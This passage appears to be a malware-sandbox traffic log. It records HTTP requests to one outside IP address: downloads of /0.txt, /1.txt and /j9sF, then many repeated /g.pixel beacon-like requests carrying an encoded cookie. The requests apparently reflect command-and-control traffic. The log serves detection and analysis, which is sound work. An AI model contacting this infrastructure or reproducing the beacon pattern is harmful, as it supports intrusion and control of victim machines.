Source: global traffic HTTP traffic detected: GET /0.txt HTTP/1.1Host: 8.218.236.5:8089Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1.txt HTTP/1.1Host: 8.218.236.5:8089Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /j9sF HTTP/1.1User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
